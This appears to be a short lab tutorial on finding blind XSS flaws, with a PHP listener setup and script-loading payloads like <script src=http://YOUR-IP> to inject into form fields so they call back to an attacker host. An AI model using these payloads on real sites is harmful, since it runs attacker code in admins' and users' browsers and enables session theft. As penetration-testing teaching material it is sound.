A Blind XSS vulnerability occurs when the vulnerability is triggered on a page we don't have access to.

Blind XSS vulnerabilities usually occur with forms only accessible by certain users (e.g., Admins). Some potential examples include:

• Contact Forms
• Reviews
• User Details
• Support Tickets
• HTTP User-Agent header

How would we be able to detect an XSS vulnerability if we cannot see how the output is handled?

• To do this, We use a JavaScript payload that sends an HTTP request back to our server. If the JavaScript code gets executed, we will get a response on our machine, and we will know that the page is indeed vulnerable.

Loading a Remote Script (Blind XSS discovery)

1. Start your listener

mkdir /tmp/tmpserver
cd /tmp/tmpserver
sudo php -S 0.0.0.0:80

2. Get your IP

ip a show tun0   # or ifconfig tun0

Use that IP (example: 10.10.14.x).

3. Test these payloads one by one

Put each payload into every remaining input field (full name, username, etc.).

Skip email (validated) and password.

Payload list to try (in order):

<script src=http://YOUR-IP></script>

'><script src=http://YOUR-IP></script>